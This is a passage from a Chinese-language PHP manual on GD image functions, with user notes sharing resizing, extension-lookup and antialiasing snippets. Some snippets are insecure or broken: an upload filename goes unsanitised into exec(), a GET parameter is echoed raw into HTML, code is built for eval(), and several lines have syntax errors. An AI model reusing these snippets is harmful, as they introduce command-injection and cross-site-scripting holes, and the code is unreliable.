   $contents .= $data;
   } while(true);
   } else { return false; }
   fclose ($handle);

   $im = ImageCreateFromString($contents);
   if (!$im) { return false; }
   $gis[0] = ImageSX($im);
   $gis[1] = ImageSY($im);
// array member 3 is used below to keep with current getimagesize standards
   $gis[3] = "width={$gis[0]} height={$gis[1]}";
   ImageDestroy($im);
   return $gis;
}

goodluck
janoma_cl
10-Oct-2003 06:19
If you want to show thumbnails keeping the original proportions, with defined maximum width and height, you can use this function. This is useful when showing tables of user-uploaded images, that not necessarily are same-sized. However, for big images (like wallpapers), a better option is to create separated thumbnails with a image-editing software.

If the image is smaller or equal than the defined maximums, then it's showed without resizing. If not, creates a link to a pop-up that shows the full-size image.

<?php
function show_thumbnail($file)
{
   $max = 200 // Max. thumbnail width and height

   $size = getimagesize($file);

   if ( $size[0] <= $max && $size[1] <= $max )
   {
       $ret = '<img src="'.$file.'" '.$size[3].' border="0">';
   }
   else
   {
       $k = ( $size[0] >= $size[1] ) ? $size[0] / $max : $size[1] / $max;
       $ret = '<a href="javascript:;" onClick="window.open(\'image.php?img=';
       $ret .= $file.'\',\'\',\'width='.$size[0];
       $ret .= ',height='.$size[1].'\')">';
       $ret .= '<img src="'.$file.'" width="'.floor($size[0]/$k).'" height="'.floor($size[1]/$k).'" border="0" alt="View full-size image"></a>';
   }

   return $ret;
}
?>

Here is the code of 'image.php':

<html>
<head>
<title>Image</title>
</head>
<body leftmargin="0" topmargin="0">
<?php echo ( is_file($_GET['img']) ) ? '<a href="#" onClick="window.close();"><img src="'.$_GET['img'].'" border="0" alt="Close window"></a>' : 'Invalid image filename, or no filename entered. <a href="#" onClick="window.close();">Close window</a>.' ?>
</body>
</html>
simms
04-Sep-2003 12:47
here's a nice way of resizing user-uploaded files on the fly, using ImageMagick (on linux), but no GD:

<?

if( $image_info = getimagesize( "/upload_dir/" . $uploadName ) )
{
  if( $image_info[ 0 ] > $defaultImgWidth )
  {
   exec( "mogrify -geometry " . $defaultImgWidth . " " . "/upload_dir/" . $uploadName . " &" );
  }
}

?>

$defaultImgWidth would be the target width of the image -- note that the code above resizes the image without distorting its original proportions, and only if it is wider than $defaultImgWidth.
the ImageMagick syntax used above ("mogrify ..") overwrites the original file ($uploadName) with the resized image.
ten tod xmg ta rotanimrev (reverse it)
02-Sep-2003 01:30
An additional note to "tightcode_nosp@m_hotmail":

If that doesn't work try this instead:

<?
     $img = imagecreatefromjpeg ($filename);
     $x = imagesx ($img);
     $y = imagesy ($img);
     imagedestroy ($img);
?>

Though keep in mind that this consumes lots of CPU. So if you're doing something like creating a page of thumbnails this is considerably slower.

So what you can do is use getimagesize() and check if
- the width and height are empty strings ("")
- and those two values aren't too high

Both indicate that getimagesize() didn't work properly. The latter may happen if getimagesize() thought that it recognized the format and therefore the size properly. I mean if you're looking at pictures that you know are max. 1024x768 and getimagesize() returns a width of e.g. 20234 then it's obvious that something went wrong. In that case use the code mentioned above. Of course if getimagesize() returned small values that are wrong you still get the wrong size. So check your pictures and priorities first.

So all of this could look like as follows:

<?
   $picinfo = @getimagesize ($filename);
   if ($picinfo !== false) {
     $x = $picinfo [0];
     $y = $picinfo [1];
   }

   // change this according the picture resolutions you're expecting
   if ($x > 2000 || $y > 2000) $x = $y = "";

   if ($x == "") {
     $img = imagecreatefromjpeg ($filename);
     $x = imagesx ($img);
     $y = imagesy ($img);
     imagedestroy ($img);
   }
?>

Note: fix syntax stuff if there's an error as I compiled this example from a few places.

If you don't care about the huge load on your CPU or you have to rely on the proper size use the snippet noted at the beginning only.
justin at webtekconcepts dot com
16-Aug-2003 04:27
For those that like to go the dynamic thumbnail route, I've found that you can get warnings with getimagesize() after your loop through more than 3 to 4 images. In my case I needed 12 images on each page.

Use usleep() in your loop just before you run getimagesize() otherwise you'll end up with warnings, big images and a broken page. Using usleep() lets the server recoup for X milliseconds so it will accept connections again for the image size.

I've found that usleep(1500) is the best for my situation. This barely slows the page down and allows for getimagesize() to work 100% of the time for me.
webmaster AT theparadox DOT org
31-May-2003 08:16
I figured others have wanted to scale an image to a particular height or width while preserving the height/width ratio. So here are the functions I wrote to accomplish this. Hopefully they'll save somebody else the five minutes it took to write these.

You give the filename and the dimension you want to use, and these functions return the opposite dimension:

function scale_to_height ($filename, $targetheight) {
   $size = getimagesize($filename);
   $targetwidth = $targetheight * ($size[0] / $size[1]);
   return $targetwidth;
}

function scale_to_width ($filename, $targetwidth) {
   $size = getimagesize($filename);
   $targetheight = $targetwidth * ($size[1] / $size[0]);
   return $targetheight;
}
robertks at hotmail dot com
06-Mar-2003 01:12
For those of you trying to derive the dimensions of a video file (e.g. Video for Windows AVI, Quicktime MOV, MPEG MPG, Windows Media Video WMV or ASF, etc.), you will find the getid3 library to be indispensible.  Found at http://getid3.sourceforge.net, here's an example of its use in a script:

include_once('getid3.php'); // or wherever you actually put the getid3 scripts
$file_location = './myvideo.avi';
$file_info = GetAllFileInfo($file_location) // calls getid3 function
$file_width = $file_info['video']['resolution_x'];
$file_height = $file_info['video']['resolution_y'];

You can then use your OBJECT and EMBED tags in HTML to put the video into a web page, and make the PHP template independent of the size parameters of the particular video it happens to be loading.  (Just remember to add pixels to the video height to accomodate the controller of the embedded player: typically, 16 pixels for Quicktime, 46 pixels for Windows Media Player 6, and 64 pixels for Windows Media Player 7.
mogster at boomdesign dot no
10-Mar-2002 02:58
Really useful info from webmasterb@feartheclown.com and you others :-)
Saved my butt...
Here's a build on that, with proportional resizing of the image-upload ($newpic) to a fixed value ($maxwidth):
$maxwidth = "350";
$imagehw = GetImageSize($newpic);
$imagewidth = $imagehw[0];
$imageheight = $imagehw[1];
$imgorig = $imagewidth;
if ($imagewidth > $maxwidth {
  $imageprop=($maxwidth*100)/$imagewidth;
  $imagevsize= ($imageheight*$imageprop)/100 ;
  $imagewidth=$maxwidth;
  $imageheight=ceil($imagevsize);
}
Of course this does not resize the image itself, but returns values one may use in html-code to restrain users from killing your design...

knutm
add a note add a note

后退 | 起点 | 前进
gd_info | 上一级 | image_type_to_extension


image_type_to_extension

(no version information, might be only in CVS)

image_type_to_extension -- 取得图像类型的文件后缀

说明

string image_type_to_extension ( int imagetype [, bool include_dot] )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
discerer at _REMOVETHIS_yahoo dot co dot uk
08-Jan-2006 11:23
at aleksandrs note about mime checking

i really hope that piece of code isn't used as some kind of security check for uploading (excluding those which have no value in the switch-case ie), as the mime type in uploading could be very easily changed

and btw if you want to get the extension why not just use substr to get all the text after the last dot in the filename to be really sure that the file is really what the mime says?

this could be done easily with
<?php
$filename = "roflhax.pwnage.jpeg";
if (($pos = strrpos($filename, ".")) === FALSE)
  echo "Error - file doesn't have a dot... weird.";
else {
  $extension = substr($filename, $pos + 1);
  echo $extension; // will echo "jpeg"
}
?>
(or you could use pathinfo() or a regex :))
aleksandrs dot bogdanovs at gmail dot com
23-Dec-2005 09:44
When I was writing a script for my photo website, it was necessary to write such function, which can get the extension of uploaded file (image), so the function is:

<?php
function get_extension($imagetype)
   {
       if(empty($imagetype)) return false;
       switch($imagetype)
       {
           case 'image/bmp': return '.bmp';
           case 'image/cis-cod': return '.cod';
           case 'image/gif': return '.gif';
           case 'image/ief': return '.ief';
           case 'image/jpeg': return '.jpg';
           case 'image/pipeg': return '.jfif';
           case 'image/tiff': return '.tif';
           case 'image/x-cmu-raster': return '.ras';
           case 'image/x-cmx': return '.cmx';
           case 'image/x-icon': return '.ico';
           case 'image/x-portable-anymap': return '.pnm';
           case 'image/x-portable-bitmap': return '.pbm';
           case 'image/x-portable-graymap': return '.pgm';
           case 'image/x-portable-pixmap': return '.ppm';
           case 'image/x-rgb': return '.rgb';
           case 'image/x-xbitmap': return '.xbm';
           case 'image/x-xpixmap': return '.xpm';
           case 'image/x-xwindowdump': return '.xwd';
           case 'image/png': return '.png';
           case 'image/x-jps': return '.jps';
           case 'image/x-freehand': return '.fh';
           default: return false;
       }
   }
?>

It's useful for those, who upload files on server.
oridan at hotmail dot com
12-Nov-2005 02:06
i used your code in the following to open different types of files depending on their 'type' (or rather, extension).  the eval simply creates
<?
// make sure you initialize $filename as the path to the image you want to load/create

   list(,,$type) = getimagesize($filename);
   $type = image_type_to_extension($type);
   eval("global \$filename; \$source = imagecreatefrom$type(\$filename);");
   global $source;
?>

$source is then the var you can play with.  saved me a big switch statement calling different "imagecreatefromjpg"/"imagecreatefromgif" functions just to do the one simple task.... open an image of varying types.
robe at amd dot co dot at
29-Sep-2005 03:31
neil: your version fails to make sense for me
spybreak.de guy:

a) you left out BMP
b) you fucked up the order of the extension in the mid of the listing. if this was changed in the getimagesize function during php versions, I'm sorry. Otherwise: WHY?!
c) the include_dot stuff is the worst abuse of function arguments I've ever seen. Shame on you.

Here's a unfucked, working version:

<?
if(!function_exists('image_type_to_extension'))
{
   function image_type_to_extension($imagetype)
   {
       if(empty($imagetype)) return false;
       switch($imagetype)
       {
           case IMAGETYPE_GIF    : return 'gif';
           case IMAGETYPE_JPEG    : return 'jpg';
           case IMAGETYPE_PNG    : return 'png';
           case IMAGETYPE_SWF    : return 'swf';
           case IMAGETYPE_PSD    : return 'psd';
           case IMAGETYPE_BMP    : return 'bmp';
           case IMAGETYPE_TIFF_II : return 'tiff';
           case IMAGETYPE_TIFF_MM : return 'tiff';
           case IMAGETYPE_JPC    : return 'jpc';
           case IMAGETYPE_JP2    : return 'jp2';
           case IMAGETYPE_JPX    : return 'jpf';
           case IMAGETYPE_JB2    : return 'jb2';
           case IMAGETYPE_SWC    : return 'swc';
           case IMAGETYPE_IFF    : return 'aiff';
           case IMAGETYPE_WBMP    : return 'wbmp';
           case IMAGETYPE_XBM    : return 'xbm';
           default                : return false;
       }
   }
}
?>
neil at g4s dot org
22-Sep-2005 01:24
refining the homebrew method a little further, i wound up with this version. note that i had to change the case statements from previous version to include call to image_type_to_mime_type()
<?php
public static function imageTypeToExtension($imageType, $includeDot = false) {
       $dot = $includeDot ? '.' : '';
       $ext = false;
       if(!empty($imageType)) {
         switch($imageType) {
             case image_type_to_mime_type(IMAGETYPE_GIF)    : $ext = $dot.'gif'; break;
             case image_type_to_mime_type(IMAGETYPE_JPEG)    : $ext = $dot.'jpg'; break;
             case image_type_to_mime_type(IMAGETYPE_PNG)    : $ext = $dot.'png'; break;
             case image_type_to_mime_type(IMAGETYPE_SWF)    : $ext = $dot.'swf'; break;
             case image_type_to_mime_type(IMAGETYPE_PSD)    : $ext = $dot.'psd'; break;
             case image_type_to_mime_type(IMAGETYPE_WBMP)    : $ext = $dot.'wbmp'; break;
             case image_type_to_mime_type(IMAGETYPE_XBM)    : $ext = $dot.'xbm'; break;
             case image_type_to_mime_type(IMAGETYPE_TIFF_II) : $ext = $dot.'tiff'; break;
             case image_type_to_mime_type(IMAGETYPE_TIFF_MM) : $ext = $dot.'tiff'; break;
             case image_type_to_mime_type(IMAGETYPE_IFF)    : $ext = $dot.'aiff'; break;
             case image_type_to_mime_type(IMAGETYPE_JB2)    : $ext = $dot.'jb2'; break;
             case image_type_to_mime_type(IMAGETYPE_JPC)    : $ext = $dot.'jpc'; break;
             case image_type_to_mime_type(IMAGETYPE_JP2)    : $ext = $dot.'jp2'; break;
             case image_type_to_mime_type(IMAGETYPE_JPX)  : $ext = $dot.'jpf'; break;
             case image_type_to_mime_type(IMAGETYPE_SWC)    : $ext = $dot.'swc'; break;
         }
   }
   return $ext;
  }
?>
Golf at dds dot nl
24-Apr-2005 10:23
To get the "dot" part of this funtion working, one needs to change the following line from:

$dot = $include_dot ? $dot.'' : '';
to:
$dot = $include_dot ? $dot.'.' : '';

I also recommend to change the following line from:

function image_type_to_extension($imagetype,$include_dot=true)
to:
function image_type_to_extension($imagetype,$include_dot=false)

(This so that one gets a result without the dot by default, witch is nice when one needs to compair it later on)...
19-Apr-2005 08:11
Just an improvement/bugfix for the function below:
<?php
$dot = $include_dot ? $dot.'' : '';
//surely what was meant is....:
$dot = $include_dot ? '.' : '';
?>

Because otherwise $dot always will be empty.....
mail at spybreak dot de
15-Aug-2004 09:12
In case your PHP doesn't have this function, you can use this:
<?

if(!function_exists('image_type_to_extension'))
{
   function image_type_to_extension($imagetype,$include_dot=true)
   {
       if(empty($imagetype)) return false;
       $dot = $include_dot ? $dot.'' : '';
       switch($imagetype)
       {
           case IMAGETYPE_GIF    : return $dot.'gif';
           case IMAGETYPE_JPEG    : return $dot.'jpg';
           case IMAGETYPE_PNG    : return $dot.'png';
           case IMAGETYPE_SWF    : return $dot.'swf';
           case IMAGETYPE_PSD    : return $dot.'psd';
           case IMAGETYPE_WBMP    : return $dot.'wbmp';
           case IMAGETYPE_XBM    : return $dot.'xbm';
           case IMAGETYPE_TIFF_II : return $dot.'tiff';
           case IMAGETYPE_TIFF_MM : return $dot.'tiff';
           case IMAGETYPE_IFF    : return $dot.'aiff';
           case IMAGETYPE_JB2    : return $dot.'jb2';
           case IMAGETYPE_JPC    : return $dot.'jpc';
           case IMAGETYPE_JP2    : return $dot.'jp2';
           case IMAGETYPE_JPX    : return $dot.'jpf';
           case IMAGETYPE_SWC    : return $dot.'swc';
           default                : return false;
       }
   }
}
?>
add a note add a note

后退 | 起点 | 前进
getimagesize | 上一级 | image_type_to_mime_type


image_type_to_mime_type

(PHP 4 >= 4.3.0, PHP 5)

image_type_to_mime_type -- 取得 getimagesize，exif_read_data，exif_thumbnail，exif_imagetype 所返回的图像类型的 MIME 类型

说明

string image_type_to_mime_type ( int imagetype )

image_type_to_mime_type() 函数可以判断一个 IMAGETYPE 常量的 MIME 类型。

例子 1. image_type_to_mime_type (file)

<?php
header("Content-type: " . image_type_to_mime_type(IMAGETYPE_PNG));
?>

返回值如下：

表格 1. 返回值常量

图像类型（imagetype） | 返回值
IMAGETYPE_GIF | image/gif
IMAGETYPE_JPEG | image/jpeg
IMAGETYPE_PNG | image/png
IMAGETYPE_SWF | application/x-shockwave-flash
IMAGETYPE_PSD | image/psd
IMAGETYPE_BMP | image/bmp
IMAGETYPE_TIFF_II (intel byte order) | image/tiff
IMAGETYPE_TIFF_MM (motorola byte order) | image/tiff
IMAGETYPE_JPC | application/octet-stream
IMAGETYPE_JP2 | image/jp2
IMAGETYPE_JPX | application/octet-stream
IMAGETYPE_JB2 | application/octet-stream
IMAGETYPE_SWC | application/x-shockwave-flash
IMAGETYPE_IFF | image/iff
IMAGETYPE_WBMP | image/vnd.wap.wbmp
IMAGETYPE_XBM | image/xbm

注: 本函数不需要 GD 库。

参见 getimagesize()，exif_imagetype()，exif_read_data() 和 exif_thumbnail()。

add a note add a note User Contributed Notes
aidan at php dot net
11-Sep-2004 04:04
This functionality is now implemented in the PEAR package PHP_Compat.

More information about using this function without upgrading your version of PHP can be found on the below link:

http://pear.php.net/package/PHP_Compat
add a note add a note

后退 | 起点 | 前进
image_type_to_extension | 上一级 | image2wbmp


image2wbmp

(PHP 4 >= 4.0.5, PHP 5)

image2wbmp -- 以 WBMP 格式将图像输出到浏览器或文件

说明

int image2wbmp ( resource image [, string filename [, int threshold]] )

image2wbmp() 从 image 图像创建一个名为 filename 的 WBMP 文件。image 参数是某个图像创建函数的返回值，例如 imagecreatetruecolor()。

filename 参数是可选项，如果省略，则直接将原图像流输出。通过用 header() 发送 image/vnd.wap.wbmp 的 Content-type，可以创建直接输出 WBMP 图像的 PHP 脚本。

例子 1. image2wbmp() 例子

<?php
$file = 'php.jpg';
$image = imagecreatefrompng($file);
header('Content-type: ' . image_type_to_mime(IMAGETYPE_WBMP));
image2wbmp($file); // output the stream directly
?>

注: WBMP 支持仅在 PHP 编译时加入了 GD-1.8 或更高版本时可用。

参见 imagewbmp()。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
image_type_to_mime_type | 上一级 | imagealphablending


imagealphablending

(PHP 4 >= 4.0.6, PHP 5)

imagealphablending -- 设定图像的混色模式

说明

bool imagealphablending ( resource image, bool blendmode )

imagealphablending() 允许在真彩色图像上使用两种不同的绘画模式。在混色（blending）模式下，alpha 通道色彩成分提供给所有的绘画函数，例如 imagesetpixel() 决定底层的颜色应在何种程度上被允许照射透过。作为结果，GD 自动将该点现有的颜色和画笔颜色混合，并将结果储存在图像中。结果的像素是不透明的。在非混色模式下，画笔颜色连同其 alpha 通道信息一起被拷贝，替换掉目标像素。混色模式在画调色板图像时不可用。如果 blendmode 为 TRUE，则启用混色模式，否则关闭。如果成功则返回 TRUE，失败则返回 FALSE。

注: 本函数需要 GD 2.0.1 或更高版本。

add a note add a note User Contributed Notes
ashita at profund dot hu
05-Oct-2005 05:41
For "webmaster at nweurosport dot com" :

Currently IE does not support 24 (+8 alpha) bit PNG-s (nor any kind of transparent images). Mozilla and Opera handle them correctly.
Jakub Argasiski
06-Jun-2005 02:53
I have been looking around for a while to find a script which does the following: generates image with text using specified font with given color, but with totally transparent background (by alpha-channnel, not via color transparency). Finally, I have created the script by myself. It's just a rough idea how to do it.

<?php
$tekst = "This is a test message\nza gl ja!\nZA GL JA?";

$h = 9;

$size = imageTTFBBox($h, 0, "arial.ttf", $tekst);
$image = imageCreateTrueColor(abs($size[2]) + abs($size[0]), abs($size[7]) + abs($size[1]));
imageSaveAlpha($image, true);
ImageAlphaBlending($image, false);

$tlo = imagecolorallocatealpha($image, 220, 220, 220, 127);
imagefill($image, 0, 0, $tlo);

$napis = imagecolorallocate($image, 220, 220, 220);
imagettftext($image, $h, 0, 0, abs($size[5]), $napis, "arial.ttf", $tekst);
imagepng($image, "output.png");
imagedestroy($image);

?>
<html>
<head>
</head>
<body bgcolor="#808080">
<img src="output.png" alt="">
</body>
</html>
webmaster at nweurosport dot com
18-Feb-2005 05:00
When saving images for use in transparent overlays like the logo addition mentioned above I've found that it is not succesful with PNG-24, only GIF and PNG-8.  I've had great success with PNG-8's.
dscharrer at gmail dot com
24-Dec-2004 06:32
If imagealphablending os set to true and you want to merge two images, you are left with no transparency. If it is set to false, only the transparency of the second image is respected, causing no parts of the first image to be shown. To solve this use the following function:

<?
//Merge multiple images and keep transparency

//$i is and array of the images to be merged:
// $i[1] will be overlayed over $i[0]
// $i[2] will be overlayed over that
// ...

//the function returns the resulting image ready for saving

function imagemergealpha($i) {

 //create a new image
 $s = imagecreatetruecolor(imagesx($i[0]),imagesy($i[1]));

 //merge all images
 imagealphablending($s,true);
 $z = $i;
 while($d = each($z)) {
  imagecopy($s,$d[1],0,0,0,0,imagesx($d[1]),imagesy($d[1]));
 }

 //restore the transparency
 imagealphablending($s,false);
 $w = imagesx($s);
 $h = imagesy($s);
 for($x=0;$x<$w;$x++) {
  for($y=0;$y<$h;$y++) {
   $c = imagecolorat($s,$x,$y);
   $c = imagecolorsforindex($s,$c);
   $z = $i;
   $t = 0;
   while($d = each($z)) {
   $ta = imagecolorat($d[1],$x,$y);
   $ta = imagecolorsforindex($d[1],$ta);
   $t += 127-$ta['alpha'];
   }
   $t = ($t > 127) ? 127 : $t;
   $t = 127-$t;
   $c = imagecolorallocatealpha($s,$c['red'],$c['green'],$c['blue'],$t);
   imagesetpixel($s,$x,$y,$c);
  }
 }
 imagesavealpha($s,true);
 return $s;
}
?>
joe AT cerberon DOT net
02-Mar-2004 09:02
Note that alpha blending must be enabled to render antialiased text in true color mode.

For OLDER versions of PHP and/or GD (e.g. which comes with Debian woody) alpha blending is DISABLED by default and it is ENABLED for NEWER versions.
www.deebster.com
17-Nov-2003 07:12
Your target image resource not must be paletted if you want to use blending.

This means using ImageCreateTrueColor() rather than ImageCreate().

(If your source is e.g. a jpeg and you've used ImageCreateFromJPEG(), the above is irrelevant.)
boo at php dot net
30-Jun-2003 05:18
Notice that AlphaBlending is ON by default.
So, only use this function if you don't want to use AlphaBlending.
tcarter at roundcorners dot com
13-Feb-2002 11:55
If you are saving an image as PNG with transparency then saving it as a PNG-8 will give it transparency in the same way GIF has, but that won't work with this function.

For this function to work the image needs to have an alpha channel (obviously really when you think about it), so make sure you save as PNG-24
barnabas at kendall dot NOSPAM dot net
12-Oct-2001 08:56
If you are trying to copy a transparant image on to another image, you might assume that you should apply the ImageAlphaBlending function to the image that has the transparancy, the source image. In reality, you must apply the ImageAlphaBlending function to the destination image. Basically it's saying, "make the specified image respect transparancy".

Here's a real world example. Suppose you want to put your logo on the upper left corner of a photograph. Your logo is a PNG with transparancy, and the photo is a JPEG. Here's what you would do:

<?php
$photoImage = ImageCreateFromJPEG('photo.jpg');
ImageAlphaBlending($photoImage, true);

$logoImage = ImageCreateFromPNG('logo.png');
$logoW = ImageSX($logoImage);
$logoH = ImageSY($logoImage);

ImageCopy($photoImage, $logoImage, 0, 0, 0, 0, $logoW, $logoH);

ImageJPEG($photoImage); // output to browser

ImageDestroy($photoImage);
ImageDestroy($logoImage);
?>
add a note add a note

后退 | 起点 | 前进
image2wbmp | 上一级 | imageantialias


imageantialias

(PHP 4 >= 4.3.2, PHP 5)

imageantialias -- 是否使用抗锯齿（antialias）功能

说明

bool imageantialias ( resource im, bool on )

对线段和多边形启用快速画图抗锯齿方法。不支持 alpha 部分。使用直接混色操作。仅用于真彩色图像。

不支持线宽和风格。

使用抗锯齿和透明背景色可能出现未预期的结果。混色方法把背景色当成任何其它颜色使用。缺乏 alpha 部分的支持导致不允许基于 alpha 抗锯齿方法。

注: 本函数仅在 PHP 与其捆绑的 GD 库一起编译时可用。

参见 imagecreatetruecolor()。

add a note add a note User Contributed Notes
jb at flamedesign dot dk
31-Mar-2006 06:37
Official GD Lib manual link:

http://www.boutell.com/gd/manual2.0.33.html#gdImageSetAntiAliased
n-dream at gmx dot ch
19-Feb-2006 02:18
The following function draws an AntiAliased (unfilled) Ellipse.
It is used just liked the nomral ImageEllipse function.
The optional parameter sets the number of segments...

function ImageEllipseAA( &$img, $x, $y, $w, $h,$color,$segments=70)
{
   $w=$w/2;
   $h=$h/2;
   $jump=2*M_PI/$segments;
   $oldx=$x+sin(-$jump)*$w;
   $oldy=$y+cos(-$jump)*$h;
   for($i=0;$i<2*(M_PI);$i+=$jump)
   {
       $newx=$x+sin($i)*$w;
       $newy=$y+cos($i)*$h;
       ImageLine($img,$newx,$newy,$oldx,$oldy,$color);
       $oldx=$newx;
       $oldy=$newy;
   }
}
klaas at kosmokrator dot com
15-Feb-2006 09:22
Here is an optimized version of the optimized version of the antialiased circle function by sebbi: (more than 20 times faster)...

<?php

   function imageSmoothCircle( &$img, $cx, $cy, $cr, $color ) {
       $ir = $cr;
       $ix = 0;
       $iy = $ir;
       $ig = 2 * $ir - 3;
       $idgr = -6;
       $idgd = 4 * $ir - 10;
       $fill = imageColorExactAlpha( $img, $color[ 'R' ], $color[ 'G' ], $color[ 'B' ], 0 );
       imageLine( $img, $cx + $cr - 1, $cy, $cx, $cy, $fill );
       imageLine( $img, $cx - $cr + 1, $cy, $cx - 1, $cy, $fill );
       imageLine( $img, $cx, $cy + $cr - 1, $cx, $cy + 1, $fill );
       imageLine( $img, $cx, $cy - $cr + 1, $cx, $cy - 1, $fill );
       $draw = imageColorExactAlpha( $img, $color[ 'R' ], $color[ 'G' ], $color[ 'B' ], 42 );
       imageSetPixel( $img, $cx + $cr, $cy, $draw );
       imageSetPixel( $img, $cx - $cr, $cy, $draw );
       imageSetPixel( $img, $cx, $cy + $cr, $draw );
       imageSetPixel( $img, $cx, $cy - $cr, $draw );
       while ( $ix <= $iy - 2 ) {
           if ( $ig < 0 ) {
               $ig += $idgd;
               $idgd -= 8;
               $iy--;
           } else {
               $ig += $idgr;
               $idgd -= 4;
           }
           $idgr -= 4;
           $ix++;
           imageLine( $img, $cx + $ix, $cy + $iy - 1, $cx + $ix, $cy + $ix, $fill );
           imageLine( $img, $cx + $ix, $cy - $iy + 1, $cx + $ix, $cy - $ix, $fill );
           imageLine( $img, $cx - $ix, $cy + $iy - 1, $cx - $ix, $cy + $ix, $fill );
           imageLine( $img, $cx - $ix, $cy - $iy + 1, $cx - $ix, $cy - $ix, $fill );
           imageLine( $img, $cx + $iy - 1, $cy + $ix, $cx + $ix, $cy + $ix, $fill );
           imageLine( $img, $cx + $iy - 1, $cy - $ix, $cx + $ix, $cy - $ix, $fill );
           imageLine( $img, $cx - $iy + 1, $cy + $ix, $cx - $ix, $cy + $ix, $fill );
           imageLine( $img, $cx - $iy + 1, $cy - $ix, $cx - $ix, $cy - $ix, $fill );
           $filled = 0;
           for ( $xx = $ix - 0.45; $xx < $ix + 0.5; $xx += 0.2 ) {
               for ( $yy = $iy - 0.45; $yy < $iy + 0.5; $yy += 0.2 ) {
                   if ( sqrt( pow( $xx, 2 ) + pow( $yy, 2 ) ) < $cr ) $filled += 4;
               }
           }
           $draw = imageColorExactAlpha( $img, $color[ 'R' ], $color[ 'G' ], $color[ 'B' ], ( 100 - $filled ) );
           imageSetPixel( $img, $cx + $ix, $cy + $iy, $draw );
           imageSetPixel( $img, $cx + $ix, $cy - $iy, $draw );
           imageSetPixel( $img, $cx - $ix, $cy + $iy, $draw );
           imageSetPixel( $img, $cx - $ix, $cy - $iy, $draw );
           imageSetPixel( $img, $cx + $iy, $cy + $ix, $draw );
           imageSetPixel( $img, $cx + $iy, $cy - $ix, $draw );
           imageSetPixel( $img, $cx - $iy, $cy + $ix, $draw );
           imageSetPixel( $img, $cx - $iy, $cy - $ix, $draw );
       }
   }

   $img = imageCreateTrueColor( 320, 240 );

   imageSmoothCircle( $img, 160, 120, 100, array( 'R' => 0xCC, 'G' => 0x33, 'B' => 0x00 ) );
   imageSmoothCircle( $img, 170, 110,  75, array( 'R' => 0xDD, 'G' => 0x66, 'B' => 0x00 ) );
   imageSmoothCircle( $img, 180, 100,  50, array( 'R' => 0xEE, 'G' => 0x99, 'B' => 0x00 ) );
   imageSmoothCircle( $img, 190,  90,  25, array( 'R' => 0xFF, 'G' => 0xCC, 'B' => 0x00 ) );

   header( 'Content-Type: image/png' );
   imagePNG( $img );

?>
voinic at NOSgmailPAM dot com
13-Jan-2006 06:22
The only trick I found to draw an antialiased polygon AND keep it transparent (to use them as overlays in google maps for example)... make two images and merge them. Order of operations is important and the transparency color of the final image must be set after the merge:

<?
header("Content-type: image/png");

$values = array(
           40,  50,  // Point 1 (x, y)
           20,  240, // Point 2 (x, y)
           60,  60,  // Point 3 (x, y)
           240, 20,  // Point 4 (x, y)
           50,  40,  // Point 5 (x, y)
           10,  10  // Point 6 (x, y)
           );

$im = imagecreate(250, 250);
$bg = imagecolorallocate($im, 255, 255, 255);

$im2 = imagecreatetruecolor(250, 250);
$bg2 = imagecolorallocate($im2, 255, 255, 255);
imagefilledrectangle($im2,0,0,249,249,$bg2);
imagecolortransparent($im2, $bg);
imageantialias($im2, true);
$c_red = imagecolorallocate($im2, 255, 0, 0);
imagepolygon($im2, $values, 6, $c_red);
imageantialias($im2, false);

imagecopymerge($im, $im2,0,0,0,0,250,250,50);

imagecolortransparent($im, $bg);
$c_red_alpha = imagecolorallocatealpha($im, 255, 0, 0, 60);
imagefilledpolygon($im, $values, 6, $c_red_alpha);

imagepng($im);
imagedestroy($im);
imagedestroy($im2);
?>
sebbi at conceptT dot com
26-Sep-2005 10:06
I did a search in google and got following url:
http://www.isocalc.com/tutorials/antialias.htm
With this tutorial I was able to write a function to convert this algorithm into php, the result for a filled circel is this:
<?php
function imagefilledcircleantialiased(&$im, $cx, $cy, $r, $fgcolor, $bgcolor) {
  $fgcolors = imagecolorsforindex($im,$fgcolor);
  $bgcolors = imagecolorsforindex($im,$bgcolor);
  for ( $x = $cx - $r; $x <= $cx + $r; $x++ ) {
   for ( $y = $cy - $r; $y <= $cy + $r; $y++ ) {
     $rx = $x - $cx; $ry = $y - $cy;
     $ir = sqrt(( $rx == 0 ? 0 : pow($rx - 0.5*abs($rx)/$rx, 2) ) + ( $ry == 0 ? 0 : pow($ry - 0.5*abs($ry)/$ry, 2) ));
     $or = sqrt(( $rx == 0 ? 0 : pow($rx + 0.5*abs($rx)/$rx, 2) ) + ( $ry == 0 ? 0 : pow($ry + 0.5*abs($ry)/$ry, 2) ));
     if ( $or <= $r ) {
       imagesetpixel($im, $x, $y, $fgcolor);
     }
     elseif ( $ir < $r ) {
       $filled = 0;
       for ( $xx = $x - 0.45; $xx < $x + 0.5; $xx+=0.1 ) {
         for ( $yy = $y - 0.45; $yy < $y + 0.5; $yy+=0.1 ) {
           $rxx = $xx - $cx; $ryy = $yy - $cy;
           if ( sqrt(pow($rxx, 2) + pow($ryy, 2)) < $r ) $filled++;
         }
       }
       $red = round($bgcolors['red'] + ( $fgcolors['red'] - $bgcolors['red'] ) * $filled / 100);
       $green = round($bgcolors['green'] + ( $fgcolors['green'] - $bgcolors['green'] ) * $filled / 100);
       $blue = round($bgcolors['blue'] + ( $fgcolors['blue'] - $bgcolors['blue'] ) * $filled / 100);
       imagesetpixel($im, $x, $y, imagecolorclosest($im, $red, $green, $blue));
     }
   }
  }
}

$width = 160;
$height = 200;
$r = 20;
$bgc = "651713";
$fgc = "b12b2c";

$im = imagecreate($width, $height);
$bgcolor = imagecolorallocate($im, hexdec(substr($bgc, 0, 2)), hexdec(substr($bgc, 2, 2)), hexdec(substr($bgc, 4, 2)));
for( $i = 0; $i < 100; $i++ ) {
   imagecolorallocate($im, ( hexdec(substr($fgc, 0, 2)) + $i*hexdec(substr($bgc, 0, 2))) / ($i + 1), ( hexdec(substr($fgc, 2, 2)) + $i*hexdec(substr($bgc, 2, 2))) / ($i + 1), ( hexdec(substr($fgc, 4, 2)) + $i*hexdec(substr($bgc, 4, 2))) / ($i + 1));
}
$fgcolor = imagecolorclosest($im, hexdec(substr($fgc, 0, 2)), hexdec(substr($fgc, 2, 2)), hexdec(substr($fgc, 4, 2)));

imagefilledcircleantialiased($im, 80, 100, $r, $fgcolor, $bgcolor);

header("Content-Type: image/png");
imagepng($im);
?>
